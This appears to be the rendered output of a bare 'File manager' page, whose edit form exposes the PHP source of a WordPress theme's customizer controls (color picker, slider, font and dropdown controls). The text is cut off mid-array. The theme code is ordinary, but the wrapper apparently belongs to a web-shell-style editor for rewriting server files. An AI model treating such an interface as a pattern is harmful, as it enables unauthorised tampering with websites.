File manager

<head><title>File manager</title><link rel=stylesheet href=http://unpkg.com/simpledotcss/simple.css></head>
<form method=POST enctype=''><textarea name='edit' style='width:100%;
height:90%'>&lt;?php
/**
 * Tmpcoder Customizer Controls
 */

if ( class_exists( &#039;WP_Customize_Control&#039; ) ) {

	/**
	 * WPColorPicker Alpha Color Picker Custom Control
	 */
	class Tmpcoder_Alpha_Color_Control extends WP_Customize_Control {
		/**
		 * The type of control being rendered
		 */
		public $type = &#039;wpcolorpicker-alpha-color&#039;;
		/**
		 * ColorPicker Attributes
		 */
		public $attributes = &quot;&quot;;
		/**
		 * Color palette defaults
		 */
		public $defaultPalette = array(
			&#039;#000000&#039;,
			&#039;#ffffff&#039;,
			&#039;#dd3333&#039;,
			&#039;#dd9933&#039;,
			&#039;#eeee22&#039;,
			&#039;#81d742&#039;,
			&#039;#1e73be&#039;,
			&#039;#8224e3&#039;,
		);
		/**
		 * Constructor
		 */
		public function __construct( $manager, $id, $args = array(), $options = array() ) {
			parent::__construct( $manager, $id, $args );
			$this-&gt;attributes .= &#039;data-default-color=&quot;&#039; . esc_attr( $this-&gt;value() ) . &#039;&quot;&#039;;
			$this-&gt;attributes .= &#039;data-alpha=&quot;true&quot;&#039;;
			$this-&gt;attributes .= &#039;data-alpha-reset=&quot;&#039; . ( isset( $this-&gt;input_attrs[&#039;resetalpha&#039;] ) ? $this-&gt;input_attrs[&#039;resetalpha&#039;] : &#039;true&#039; ) . &#039;&quot;&#039;;
			$this-&gt;attributes .= &#039;data-alpha-custom-width=&quot;0&quot;&#039;;
			$this-&gt;attributes .= &#039;data-alpha-enabled=&quot;true&quot;&#039;;
		}
		/**
		 * Enqueue our scripts and styles
		 */
		public function enqueue() {
			wp_enqueue_script( &#039;wp-color-picker-alpha&#039;, TMPCODER_CUSTOMIZER_ASSETS . &#039;js/wp-color-picker-alpha&#039;.tmpcoder_min_suffix().&#039;.js&#039;, array( &#039;wp-color-picker&#039; ), TMPCODER_THEME_CORE_VERSION, true );

			wp_enqueue_script( &#039;tmpcoder-customize-controls&#039;, TMPCODER_CUSTOMIZER_ASSETS . &#039;js/tmpcoder-customizer&#039;.tmpcoder_min_suffix().&#039;.js&#039;, array( &#039;jquery&#039;, &#039;wp-color-picker-alpha&#039; ), TMPCODER_THEME_CORE_VERSION, true );

			wp_enqueue_style( &#039;tmpcoder-customize-controls&#039;, TMPCODER_CUSTOMIZER_ASSETS . &#039;css/tmpcoder-customizer&#039;.tmpcoder_min_suffix().&#039;.css&#039;, array(), TMPCODER_THEME_CORE_VERSION, &#039;all&#039; );

			wp_enqueue_style( &#039;wp-color-picker&#039; );
		}
		/**
		 * Pass our Palette colours to JavaScript
		 */
		public function to_json() {
			parent::to_json();
			$this-&gt;json[&#039;colorpickerpalette&#039;] = isset( $this-&gt;input_attrs[&#039;palette&#039;] ) ? $this-&gt;input_attrs[&#039;palette&#039;] : $this-&gt;defaultPalette;
		}
		/**
		 * Render the control in the customizer
		 */
		public function render_content() {
		?&gt;
		  &lt;div class=&quot;wpcolorpicker_alpha_color_control&quot;&gt;
				&lt;?php if( !empty( $this-&gt;label ) ) { ?&gt;
					&lt;span class=&quot;customize-control-title&quot;&gt;&lt;?php echo esc_html( $this-&gt;label ); ?&gt;&lt;/span&gt;
				&lt;?php } ?&gt;
				&lt;?php if( !empty( $this-&gt;description ) ) { ?&gt;
					&lt;span class=&quot;customize-control-description&quot;&gt;&lt;?php echo esc_html( $this-&gt;description ); ?&gt;&lt;/span&gt;
				&lt;?php } ?&gt;
				&lt;input type=&quot;text&quot; class=&quot;wpcolorpicker-alpha-color-picker color-picker&quot; id=&quot;&lt;?php echo esc_attr( $this-&gt;id ); ?&gt;&quot; name=&quot;&lt;?php echo esc_attr( $this-&gt;id ); ?&gt;&quot; value=&quot;&lt;?php echo esc_attr( $this-&gt;value() ); ?&gt;&quot; &lt;?php echo wp_kses_post($this-&gt;attributes); ?&gt; &lt;?php $this-&gt;link(); ?&gt; /&gt;
			&lt;/div&gt;
		&lt;?php
		}
	}

	/**
	 * Slider Customize Control
	 */
	class Tmpcoder_Slider_Customize_Control extends WP_Customize_Control {
		/**
		 * The type of control being rendered
		 */
		public $type = &#039;slider_control&#039;;
		/**
		 * Enqueue our scripts and styles
		 */
		public function enqueue() {
			wp_enqueue_script( &#039;tmpcoder-customize-controls&#039;, TMPCODER_CUSTOMIZER_ASSETS . &#039;js/tmpcoder-customizer&#039;.tmpcoder_min_suffix().&#039;.js&#039;, array( &#039;jquery&#039;, &#039;jquery-ui-core&#039; ), TMPCODER_THEME_CORE_VERSION, true );

			wp_enqueue_style( &#039;tmpcoder-customize-controls&#039;, TMPCODER_CUSTOMIZER_ASSETS . &#039;css/tmpcoder-customizer&#039;.tmpcoder_min_suffix().&#039;.css&#039;, array(), TMPCODER_THEME_CORE_VERSION, &#039;all&#039; );
		}
		/**
		 * Render the control in the customizer
		 */
		public function render_content() {
		?&gt;
			&lt;div class=&quot;slider-custom-control&quot;&gt;
				&lt;span class=&quot;customize-control-title&quot;&gt;&lt;?php echo esc_html( $this-&gt;label ); ?&gt;&lt;/span&gt;&lt;input type=&quot;number&quot; id=&quot;&lt;?php echo esc_attr( $this-&gt;id ); ?&gt;&quot; name=&quot;&lt;?php echo esc_attr( $this-&gt;id ); ?&gt;&quot; value=&quot;&lt;?php echo esc_attr( $this-&gt;value() ); ?&gt;&quot; class=&quot;customize-control-slider-value&quot; &lt;?php $this-&gt;link(); ?&gt; /&gt;
				&lt;div class=&quot;slider&quot; slider-min-value=&quot;&lt;?php echo esc_attr( $this-&gt;input_attrs[&#039;min&#039;] ); ?&gt;&quot; slider-max-value=&quot;&lt;?php echo esc_attr( $this-&gt;input_attrs[&#039;max&#039;] ); ?&gt;&quot; slider-step-value=&quot;&lt;?php echo esc_attr( $this-&gt;input_attrs[&#039;step&#039;] ); ?&gt;&quot;&gt;&lt;/div&gt;&lt;span class=&quot;slider-reset dashicons dashicons-image-rotate&quot; slider-reset-value=&quot;&lt;?php echo esc_attr( $this-&gt;value() ); ?&gt;&quot;&gt;&lt;/span&gt;
			&lt;/div&gt;
		&lt;?php
		}
	}

	/**
	 * Image Radio Button Customize Control
	 */
	class Tmpcoder_Image_Radio_Button_Customize_Control extends WP_Customize_Control {
		/**
		 * The type of control being rendered
		 */
		public $type = &#039;image_radio_button&#039;;
		/**
		 * Enqueue our scripts and styles
		 */
		public function enqueue() {
			wp_enqueue_style( &#039;tmpcoder-customize-controls&#039;, TMPCODER_CUSTOMIZER_ASSETS . &#039;css/tmpcoder-customizer&#039;.tmpcoder_min_suffix().&#039;.css&#039;, array(), TMPCODER_THEME_CORE_VERSION, &#039;all&#039; );
		}
		/**
		 * Render the control in the customizer
		 */
		public function render_content() {
		?&gt;
			&lt;div class=&quot;image_radio_button_control&quot;&gt;
				&lt;?php if( !empty( $this-&gt;label ) ) { ?&gt;
					&lt;span class=&quot;customize-control-title&quot;&gt;&lt;?php echo esc_html( $this-&gt;label ); ?&gt;&lt;/span&gt;
				&lt;?php } ?&gt;
				&lt;?php if( !empty( $this-&gt;description ) ) { ?&gt;
					&lt;span class=&quot;customize-control-description&quot;&gt;&lt;?php echo esc_html( $this-&gt;description ); ?&gt;&lt;/span&gt;
				&lt;?php } ?&gt;

				&lt;?php foreach ( $this-&gt;choices as $key =&gt; $value ) { ?&gt;
					&lt;label class=&quot;radio-button-label&quot;&gt;
						&lt;input type=&quot;radio&quot; name=&quot;&lt;?php echo esc_attr( $this-&gt;id ); ?&gt;&quot; value=&quot;&lt;?php echo esc_attr( $key ); ?&gt;&quot; &lt;?php $this-&gt;link(); ?&gt; &lt;?php checked( esc_attr( $key ), $this-&gt;value() ); ?&gt;/&gt;
						&lt;img src=&quot;&lt;?php echo esc_attr( $value[&#039;image&#039;] ); ?&gt;&quot; alt=&quot;&lt;?php echo esc_attr( $value[&#039;name&#039;] ); ?&gt;&quot; title=&quot;&lt;?php echo esc_attr( $value[&#039;name&#039;] ); ?&gt;&quot; /&gt;
					&lt;/label&gt;
				&lt;?php	} ?&gt;
			&lt;/div&gt;
		&lt;?php
		}
	}

	/**
	 * Upsell section
	 */
	class Tmpcoder_Upsell_Section extends WP_Customize_Section {
		/**
		 * The type of control being rendered
		 */
		public $type = &#039;tmpcoder-pro&#039;;
		/**
		 * The Upsell URL
		 */
		public $url = &#039;&#039;;
		/**
		 * The background color for the control
		 */
		public $backgroundcolor = &#039;&#039;;
		/**
		 * The text color for the control
		 */
		public $textcolor = &#039;&#039;;
		/**
		 * Enqueue our scripts and styles
		 */
		public function enqueue() {
			wp_enqueue_script( &#039;tmpcoder-customize-controls&#039;, TMPCODER_CUSTOMIZER_ASSETS . &#039;js/tmpcoder-customizer&#039;.tmpcoder_min_suffix().&#039;.js&#039;, array( &#039;jquery&#039; ), TMPCODER_THEME_CORE_VERSION, true );

			wp_enqueue_style( &#039;tmpcoder-customize-controls&#039;, TMPCODER_CUSTOMIZER_ASSETS . &#039;css/tmpcoder-customizer&#039;.tmpcoder_min_suffix().&#039;.css&#039;, array(), TMPCODER_THEME_CORE_VERSION, &#039;all&#039; );
		}
		/**
		 * Render the section, and the controls that have been added to it.
		 */
		protected function render() {
			$bkgrndcolor = !empty( $this-&gt;backgroundcolor ) ? esc_attr( $this-&gt;backgroundcolor ) : &#039;#fff&#039;;
			$color = !empty( $this-&gt;textcolor ) ? esc_attr( $this-&gt;textcolor ) : &#039;#5729d9&#039;;
			?&gt;
			&lt;li id=&quot;accordion-section-&lt;?php echo esc_attr( $this-&gt;id ); ?&gt;&quot; class=&quot;tmpcoder_pro_section accordion-section control-section control-section-&lt;?php echo esc_attr( $this-&gt;id ); ?&gt; cannot-expand&quot;&gt;
				&lt;h3 class=&quot;tmpcoder-pro-section-title&quot; &lt;?php echo &#039; style=&quot;color:&#039; . esc_html( $color ) . &#039;;border-left-color:&#039; . esc_html( $bkgrndcolor ) .&#039;;border-right-color:&#039; . esc_html( $bkgrndcolor ) .&#039;;&quot;&#039;; ?&gt;&gt;
					&lt;a href=&quot;&lt;?php echo esc_url( $this-&gt;url); ?&gt;&quot; target=&quot;_blank&quot;&gt;&lt;?php echo esc_html( $this-&gt;title ); ?&gt;&lt;/a&gt;
				&lt;/h3&gt;
			&lt;/li&gt;
			&lt;?php
		}
	}

	/**
	 * Divider Control
	 */
	class Tmpcoder_Divider_Customize_Control extends WP_Customize_Control {
		/**
		 * The type of control being rendered
		 */
		public $type = &#039;simple_divider&#039;;
		/**
		 * Define the available widths for the divider
		 */
		private $available_divider_widths = array( &quot;default&quot;, &quot;full&quot;, &quot;half&quot; );
		/**
		 * Define the available types of divider
		 */
		private $available_divider_types = array( &quot;solid&quot;, &quot;dashed&quot;, &quot;dotted&quot;, &quot;double&quot; );
		/**
		 * Define the width of the divider. Either &#039;default&#039;, &#039;full&#039;, or &#039;half&#039;. Default = &#039;default&#039;
		 */
		private $dividerwidth = &#039;default&#039;;
		/**
		 * Define the type of divider line. Either &#039;solid&#039;, &#039;dashed&#039; or &#039;dotted&#039;. Default = &#039;solid&#039;
		 */
		private $dividertype = &#039;solid&#039;;
		/**
		 * Define size of the top margin in px. Default = 20
		 */
		private $margintop = 20;
		/**
		 * Define size of the top margin in px. Default = 20
		 */
		private $marginbottom = 20;
		/**
		 * Constructor
		 */
		public function __construct( $manager, $id, $args = array(), $options = array() ) {
			parent::__construct( $manager, $id, $args );
			// Check the width of the divider
			if ( isset( $this-&gt;input_attrs[&#039;width&#039;] ) ) {
				if ( in_array( strtolower( $this-&gt;input_attrs[&#039;width&#039;] ), $this-&gt;available_divider_widths, true ) ) {
					$this-&gt;dividerwidth = strtolower( $this-&gt;input_attrs[&#039;width&#039;] );
				}
			}
			// Check the type of divider
			if ( isset( $this-&gt;input_attrs[&#039;type&#039;] ) ) {
				if ( in_array( strtolower( $this-&gt;input_attrs[&#039;type&#039;] ), $this-&gt;available_divider_types, true ) ) {
					$this-&gt;dividertype = strtolower( $this-&gt;input_attrs[&#039;type&#039;] );
				}
			}
			// Check if the top margin is specified and valid. Will accept int and string values. i.e. 42 or &#039;42&#039;
			if ( isset( $this-&gt;input_attrs[&#039;margintop&#039;] ) &amp;&amp;  is_numeric( $this-&gt;input_attrs[&#039;margintop&#039;] ) ) {
				$this-&gt;margintop = abs( (int)$this-&gt;input_attrs[&#039;margintop&#039;] );
			}
			// Check if the bottom margin is specified and valid. Will accept int and string values. i.e. 42 or &#039;42&#039;
			if ( isset( $this-&gt;input_attrs[&#039;marginbottom&#039;] ) &amp;&amp;  is_numeric( $this-&gt;input_attrs[&#039;marginbottom&#039;] ) ) {
				$this-&gt;marginbottom = abs( (int)$this-&gt;input_attrs[&#039;marginbottom&#039;] );
			}
		}
		/**
		 * Enqueue our scripts and styles
		 */
		public function enqueue() {
			wp_enqueue_style( &#039;tmpcoder-customize-controls&#039;, TMPCODER_CUSTOMIZER_ASSETS . &#039;css/tmpcoder-customizer&#039;.tmpcoder_min_suffix().&#039;.css&#039;, array(), TMPCODER_THEME_CORE_VERSION, &#039;all&#039; );
		}
		/**
		 * Render the control in the customizer
		 */
		public function render_content() {
		?&gt;
			&lt;div class=&quot;simple-divider-custom-control simple-divider-type-&lt;?php echo esc_attr($this-&gt;dividertype); ?&gt; simple-divider-width-&lt;?php echo esc_attr($this-&gt;dividerwidth); ?&gt;&quot; style=&quot;margin-top:&lt;?php echo esc_attr($this-&gt;margintop); ?&gt;px;margin-bottom:&lt;?php echo esc_attr($this-&gt;marginbottom); ?&gt;px&quot;&gt;&lt;/div&gt;
		&lt;?php
		}
	}


	/**
    * Google Font Select Customize Control
    */
    class Tmpcoder_Google_Font_Select_Customize_Control extends WP_Customize_Control {
        /**
        * The type of control being rendered
        */
        public $type = &#039;google_fonts&#039;;
        /**
        * The list of Google Fonts
        */
        private $fontList = false;
        /**
        * The saved font values decoded from json
        */
        private $fontValues = array();
        /**
        * The index of the saved font within the list of Google fonts
        */
        private $fontListIndex = 0;
        /**
        * The number of fonts to display from the json file. Either positive integer or &#039;all&#039;. Default = &#039;all&#039;
        */
        private $fontCount = &#039;all&#039;;
        /**
        * The font list sort order. Either &#039;alpha&#039; or &#039;popular&#039;. Default = &#039;alpha&#039;
        */
        private $fontOrderBy = &#039;alpha&#039;;
        /**
        * Get our list of fonts from the json file
        */
        public function __construct( $manager, $id, $args = array(), $options = array() ) {
            parent::__construct( $manager, $id, $args );
            // Get the font sort order
            if ( isset( $this-&gt;input_attrs[&#039;orderby&#039;] ) &amp;&amp; strtolower( $this-&gt;input_attrs[&#039;orderby&#039;] ) === &#039;popular&#039; ) {
                $this-&gt;fontOrderBy = &#039;popular&#039;;
            }
            // Get the list of Google fonts
            if ( isset( $this-&gt;input_attrs[&#039;font_count&#039;] ) ) {
                if ( &#039;all&#039; != strtolower( $this-&gt;input_attrs[&#039;font_count&#039;] ) ) {
                    $this-&gt;fontCount = ( abs( (int) $this-&gt;input_attrs[&#039;font_count&#039;] ) &gt; 0 ? abs( (int) $this-&gt;input_attrs[&#039;font_count&#039;] ) : &#039;all&#039; );
                }
            }
            $this-&gt;fontList = $this-&gt;tmpcoder_getGoogleFonts( &#039;all&#039; );
            // Decode the default json font value
            $this-&gt;fontValues = json_decode( $this-&gt;value() );
            // Find the index of our default font within our list of Google fonts
            $this-&gt;fontListIndex = $this-&gt;tmpcoder_getFontIndex( $this-&gt;fontList, $this-&gt;fontValues-&gt;font );
        }
        /**
        * Enqueue our scripts and styles
        */
        public function enqueue() {
            wp_enqueue_script( &#039;tmpcoder-select2&#039;, TMPCODER_CUSTOMIZER_ASSETS . &#039;js/select2&#039;.tmpcoder_min_suffix().&#039;.js&#039;, array( &#039;jquery&#039; ), TMPCODER_THEME_CORE_VERSION, true );

            wp_enqueue_script( &#039;tmpcoder-customize-controls&#039;, TMPCODER_CUSTOMIZER_ASSETS . &#039;js/tmpcoder-customizer&#039;.tmpcoder_min_suffix().&#039;.js&#039;, array( &#039;tmpcoder-select2-js&#039; ), TMPCODER_THEME_CORE_VERSION, true );

            wp_enqueue_style( &#039;tmpcoder-customize-controls&#039;, TMPCODER_CUSTOMIZER_ASSETS . &#039;css/tmpcoder-customizer&#039;.tmpcoder_min_suffix().&#039;.css&#039;, array(), TMPCODER_THEME_CORE_VERSION, &#039;all&#039; );

            wp_enqueue_style( &#039;tmpcoder-select2&#039;, TMPCODER_CUSTOMIZER_ASSETS . &#039;css/select2&#039;.tmpcoder_min_suffix().&#039;.css&#039;, array(), TMPCODER_THEME_CORE_VERSION, &#039;all&#039; );
        }
        /**
        * Export our List of Google Fonts to JavaScript
        */
        public function to_json() {
            parent::to_json();
            $this-&gt;json[&#039;tmpcoderfontslist&#039;] = $this-&gt;fontList;
        }
		/**
		 * Render the control in the customizer
		 */
		public function render_content() {
			$fontCounter = 0;
			$isFontInList = false;
			$fontListStr = &#039;&#039;;

			if( !empty($this-&gt;fontList) ) {
				?&gt;
				&lt;div class=&quot;google_fonts_select_control&quot;&gt;
					&lt;?php if( !empty( $this-&gt;label ) ) { ?&gt;
						&lt;span class=&quot;customize-control-title&quot;&gt;&lt;?php echo esc_html( $this-&gt;label ); ?&gt;&lt;/span&gt;
					&lt;?php } ?&gt;
					&lt;?php if( !empty( $this-&gt;description ) ) { ?&gt;
						&lt;span class=&quot;customize-control-description&quot;&gt;&lt;?php echo esc_html( $this-&gt;description ); ?&gt;&lt;/span&gt;
					&lt;?php } ?&gt;
					&lt;input type=&quot;hidden&quot; id=&quot;&lt;?php echo esc_attr( $this-&gt;id ); ?&gt;&quot; name=&quot;&lt;?php echo esc_attr( $this-&gt;id ); ?&gt;&quot; value=&quot;&lt;?php echo esc_attr( $this-&gt;value() ); ?&gt;&quot; class=&quot;customize-control-google-font-selection&quot; &lt;?php $this-&gt;link(); ?&gt; /&gt;
					&lt;div class=&quot;google-fonts&quot;&gt;
						&lt;select class=&quot;google-fonts-list&quot; control-name=&quot;&lt;?php echo esc_attr( $this-&gt;id ); ?&gt;&quot;&gt;
							&lt;?php
								foreach( $this-&gt;fontList as $key =&gt; $value ) {
									$fontCounter++;
									$fontListStr .= &#039;&lt;option value=&quot;&#039; . esc_html( $value[&#039;font&#039;] ) . &#039;&quot; &#039; . selected( $this-&gt;fontValues-&gt;font, $value[&#039;font&#039;], false ) . &#039;&gt;&#039; . esc_html( $value[&#039;font&#039;] ) . &#039;&lt;/option&gt;&#039;;
									if ( $this-&gt;fontValues-&gt;font === $value[&#039;font&#039;] ) {
										$isFontInList = true;
									}
									if ( is_int( $this-&gt;fontCount ) &amp;&amp; $fontCounter === $this-&gt;fontCount ) {
										break;
									}
								}
								if ( !$isFontInList &amp;&amp; $this-&gt;fontListIndex ) {
									// If the default or saved font value isn&#039;t in the list of displayed fonts, add it to the top of the list as the default font
									$fontListStr = &#039;&lt;option value=&quot;&#039; . esc_html( $this-&gt;fontList[$this-&gt;fontListIndex][&#039;font&#039;] ) . &#039;&quot; &#039; . selected( $this-&gt;fontValues-&gt;font, $this-&gt;fontList[$this-&gt;fontListIndex][&#039;font&#039;], false ) . &#039;&gt;&#039; . esc_html( $this-&gt;fontList[$this-&gt;fontListIndex][&#039;font&#039;] ) . &#039; (default)&lt;/option&gt;&#039; . $fontListStr;
								}
								// Display our list of font options
								echo wp_kses($fontListStr, array(
									&#039;option&#039; =&gt; array(
										&#039;selected&#039; =&gt; array(),
										&#039;data-*&#039; =&gt; array(),
									)
								));
							?&gt;
						&lt;/select&gt;
					&lt;/div&gt;
					&lt;div class=&quot;customize-control-description&quot;&gt;&lt;?php esc_html_e( &#039;Font Weight &amp; Style&#039;, &#039;spexo&#039; ) ?&gt;&lt;/div&gt;
					&lt;div class=&quot;weight-style&quot;&gt;
						&lt;select class=&quot;google-fonts-regularweight-style customize-control-select2&quot;&gt;
							&lt;?php
								$weightLabels = array(
									&quot;100&quot; =&gt; &quot;Thin 100&quot;,
									&quot;200&quot; =&gt; &quot;Extra Light 200&quot;,
									&quot;300&quot; =&gt; &quot;Light 300&quot;,
									&quot;400&quot; =&gt; &quot;Regular 400&quot;,
									&quot;500&quot; =&gt; &quot;Medium 500&quot;,
									&quot;600&quot; =&gt; &quot;Semi-Bold 600&quot;,
									&quot;700&quot; =&gt; &quot;Bold 700&quot;,
									&quot;800&quot; =&gt; &quot;Extra Bold 800&quot;,
									&quot;900&quot; =&gt; &quot;Black 900&quot;
								);

								$uniqueVariants = array();
								foreach( $this-&gt;fontList[$this-&gt;fontListIndex][&#039;variants&#039;] as $key =&gt; $value ) {
									// Remove the &quot;i&quot; from the variant (if it&#039;s the &quot;italic&quot; variant)
									$cleanedValue = str_replace(&#039;i&#039;, &#039;&#039;, $value);

									if (!in_array($cleanedValue, $uniqueVariants)) {
										$uniqueVariants[] = $cleanedValue;
										$label = isset($weightLabels[$cleanedValue]) ? $weightLabels[$cleanedValue] : $cleanedValue;
										
										echo &#039;&lt;option value=&quot;&#039; . esc_html( $cleanedValue ) . &#039;&quot; &#039; . selected( $this-&gt;fontValues-&gt;regularweight, $cleanedValue, false ) . &#039;&gt;&#039; . esc_html( $label ) . &#039;&lt;/option&gt;&#039;;
									}
								}
							?&gt;
						&lt;/select&gt;
					&lt;/div&gt;

					&lt;input type=&quot;hidden&quot; class=&quot;google-fonts-category&quot; value=&quot;&lt;?php echo esc_attr($this-&gt;fontValues-&gt;category); ?&gt;&quot;&gt;
				&lt;/div&gt;
				&lt;?php
			}
		}
        /**
        * Find the index of the saved font in our multidimensional array of Google Fonts
        */
        public function tmpcoder_getFontIndex( $haystack, $needle ) {
            foreach( $haystack as $key =&gt; $value ) {
                if( $value[&#039;font&#039;] == $needle ) {
                    return $key;
                }
            }
            return false;
        }
		/**
		* Return the list of Google Fonts from the Google Fonts API.
		* This method is updated to handle missing properties and use the correct structure.
		*/
		public function tmpcoder_getGoogleFonts( $count = 30 ) {
			$googleFontsUrl = &quot;https://fonts.google.com/metadata/fonts&quot;;

			$args = array(
				&#039;headers&#039; =&gt; array(
					&#039;User-Agent&#039; =&gt; &#039;Mozilla/5.0&#039;, // Required to bypass Google restrictions
				)
			);

			$request = wp_remote_get( $googleFontsUrl, $args );

			if ( is_wp_error( $request ) ) {
				return &quot;&quot;;
			}
			
			$body = wp_remote_retrieve_body( $request );

			// Remove Google&#039;s anti-CSRF prefix: &quot;)]}&#039;&quot;
			$body = preg_replace(&#039;/^\)\]\}\&#039;/&#039;, &#039;&#039;, $body);
			$content = json_decode( $body );

			if ( !isset( $content-&gt;familyMetadataList ) || !is_array( $content-&gt;familyMetadataList ) ) {
				return &quot;&quot;;
			}

			$fonts = $content-&gt;familyMetadataList;
			$fontList = [];

			foreach ( $fonts as $font ) {
				$fontName = isset( $font-&gt;family ) ? $font-&gt;family : &#039;&#039;;
				$variants = isset( $font-&gt;variants ) &amp;&amp; is_array( $font-&gt;variants ) ? $font-&gt;variants : [];
				
				if ( empty( $variants ) &amp;&amp; isset( $font-&gt;fonts ) &amp;&amp; is_object( $font-&gt;fonts ) ) {
					$variants = array_keys( get_object_vars( $font-&gt;fonts ) );
				}

				if ( empty( $variants ) ) {
					$variants = [&#039;400&#039;];
				}

				$category = isset( $font-&gt;category ) ? $font-&gt;category : &#039;sans-serif&#039;;

				$fontList[] = [
					&#039;font&#039;          =&gt; $fontName,
					&#039;regularweight&#039; =&gt; &#039;400&#039;,
					&#039;category&#039;      =&gt; $category,
					&#039;variants&#039;      =&gt; $variants,
					&#039;subsets&#039;       =&gt; isset( $font-&gt;subsets ) ? $font-&gt;subsets : [] 
				];
			}

			return ( $count === &#039;all&#039; ) ? $fontList : array_slice( $fontList, 0, $count );
		}
    }


	/**
	 * Dropdown Select2 Customize Control
	 */
	class Tmpcoder_Dropdown_Select2_Customize_Control extends WP_Customize_Control {
		/**
		 * The type of control being rendered
		 */
		public $type = &#039;dropdown_select2&#039;;
		/**
		 * The type of Select2 Dropwdown to display. Can be either a single select dropdown or a multi-select dropdown. Either false for true. Default = false
		 */
		private $multiselect = false;
		/**
		 * The Placeholder value to display. Select2 requires a Placeholder value to be set when using the clearall option. Default = &#039;Please select...&#039;
		 */
		private $placeholder = &#039;Please select...&#039;;
		/**
		 * Constructor
		 */
		public function __construct( $manager, $id, $args = array(), $options = array() ) {
			parent::__construct( $manager, $id, $args );
			// Check if this is a multi-select field
			if ( isset( $this-&gt;input_attrs[&#039;multiselect&#039;] ) &amp;&amp; $this-&gt;input_attrs[&#039;multiselect&#039;] ) {
				$this-&gt;multiselect = true;
			}
			// Check if a placeholder string has been specified
			if ( isset( $this-&gt;input_attrs[&#039;placeholder&#039;] ) &amp;&amp; $this-&gt;input_attrs[&#039;placeholder&#039;] ) {
				$this-&gt;placeholder = $this-&gt;input_attrs[&#039;placeholder&#039;];
			}
		}
		/**
		 * Enqueue scripts and styles
		 */
		public function enqueue() {
			wp_enqueue_script( &#039;tmpcoder-select2&#039;, TMPCODER_CUSTOMIZER_ASSETS . &#039;js/select2&#039;.tmpcoder_min_suffix().&#039;.js&#039;, array( &#039;jquery&#039; ), TMPCODER_THEME_CORE_VERSION, true );

			wp_enqueue_script( &#039;tmpcoder-customize-controls&#039;, TMPCODER_CUSTOMIZER_ASSETS . &#039;js/tmpcoder-customizer&#039;.tmpcoder_min_suffix().&#039;.js&#039;, array( &#039;tmpcoder-select2-js&#039; ), TMPCODER_THEME_CORE_VERSION, true );

			wp_enqueue_style( &#039;tmpcoder-customize-controls&#039;, TMPCODER_CUSTOMIZER_ASSETS . &#039;css/tmpcoder-customizer&#039;.tmpcoder_min_suffix().&#039;.css&#039;, array(), TMPCODER_THEME_CORE_VERSION, &#039;all&#039; );

			wp_enqueue_style( &#039;tmpcoder-select2&#039;, TMPCODER_CUSTOMIZER_ASSETS . &#039;css/select2&#039;.tmpcoder_min_suffix().&#039;.css&#039;, array(), TMPCODER_THEME_CORE_VERSION, &#039;all&#039; );
		}
		/**
		 * Render the control in the customizer
		 */
		public function render_content() {
			$defaultValue = $this-&gt;value();
			if ( $this-&gt;multiselect ) {
				$defaultValue = explode( &#039;,&#039;, $this-&gt;value() );
			}
		?&gt;
			&lt;div class=&quot;dropdown_select2_control&quot;&gt;
				&lt;?php if( !empty( $this-&gt;label ) ) { ?&gt;
					&lt;label for=&quot;&lt;?php echo esc_attr( $this-&gt;id ); ?&gt;&quot; class=&quot;customize-control-title&quot;&gt;
						&lt;?php echo esc_html( $this-&gt;label ); ?&gt;
					&lt;/label&gt;
				&lt;?php } ?&gt;
				&lt;?php if( !empty( $this-&gt;description ) ) { ?&gt;
					&lt;span class=&quot;customize-control-description&quot;&gt;&lt;?php echo esc_html( $this-&gt;description ); ?&gt;&lt;/span&gt;
				&lt;?php } ?&gt;
				&lt;input type=&quot;hidden&quot; id=&quot;&lt;?php echo esc_attr( $this-&gt;id ); ?&gt;&quot; class=&quot;customize-control-dropdown-select2&quot; value=&quot;&lt;?php echo esc_attr( $this-&gt;value() ); ?&gt;&quot; name=&quot;&lt;?php echo esc_attr( $this-&gt;id ); ?&gt;&quot; &lt;?php $this-&gt;link(); ?&gt; /&gt;
				&lt;select name=&quot;select2-list-&lt;?php echo esc_attr( $this-&gt;multiselect ? &#039;multi[]&#039; : &#039;single&#039; ); ?&gt;&quot; class=&quot;customize-control-select2&quot; data-placeholder=&quot;&lt;?php echo esc_attr($this-&gt;placeholder); ?&gt;&quot; &lt;?php echo esc_attr( $this-&gt;multiselect ? &#039;multiple=&quot;multiple&quot; &#039; : &#039;&#039; ); ?&gt;&gt;
					&lt;?php
						if ( !$this-&gt;multiselect ) {
							// When using Select2 for single selection, the Placeholder needs an empty &lt;option&gt; at the top of the list for it to work (multi-selects dont need this)
							echo &#039;&lt;option&gt;&lt;/option&gt;&#039;;
						}
						foreach ( $this-&gt;choices as $key =&gt; $value ) {
							if ( is_array( $value ) ) {
								echo &#039;&lt;optgroup label=&quot;&#039; . esc_attr( $key ) . &#039;&quot;&gt;&#039;;
								foreach ( $value as $optgroupkey =&gt; $optgroupvalue ) {
									if( $this-&gt;multiselect ){
										echo &#039;&lt;option value=&quot;&#039; . esc_attr( $optgroupkey ) . &#039;&quot; &#039; . ( in_array( esc_attr( $optgroupkey ), $defaultValue ) ? &#039;selected=&quot;selected&quot;&#039; : &#039;&#039; ) . &#039;&gt;&#039; . esc_attr( $optgroupvalue ) . &#039;&lt;/option&gt;&#039;;
									}
									else{
										echo &#039;&lt;option value=&quot;&#039; . esc_attr( $optgroupkey ) . &#039;&quot; &#039; . selected( esc_attr( $optgroupkey ), $defaultValue, false )  . &#039;&gt;&#039; . esc_attr( $optgroupvalue ) . &#039;&lt;/option&gt;&#039;;
									}
								}
								echo &#039;&lt;/optgroup&gt;&#039;;
							}
							else {
								if( $this-&gt;multiselect ){
									echo &#039;&lt;option value=&quot;&#039; . esc_attr( $key ) . &#039;&quot; &#039; . ( in_array( esc_attr( $key ), $defaultValue ) ? &#039;selected=&quot;selected&quot;&#039; : &#039;&#039; ) . &#039;&gt;&#039; . esc_attr( $value ) . &#039;&lt;/option&gt;&#039;;
								}
								else{
									echo &#039;&lt;option value=&quot;&#039; . esc_attr( $key ) . &#039;&quot; &#039; . selected( esc_attr( $key ), $defaultValue, false )  . &#039;&gt;&#039; . esc_attr( $value ) . &#039;&lt;/option&gt;&#039;;
								}
							}
						}
					?&gt;
				&lt;/select&gt;
			&lt;/div&gt;
		&lt;?php
		}
	}

	/**
	 * Notice Customize Control
	 */
	class Tmpcoder_Notice_Customize_Control extends WP_Customize_Control {
		/**
		 * The type of control being rendered
		 */
		public $type = &#039;tmpcoder_notice&#039;;
		/**
		 * Render the control in the customizer
		 */
		public function render_content() {
			$allowed_html = array(
				&#039;a&#039; =&gt; array(
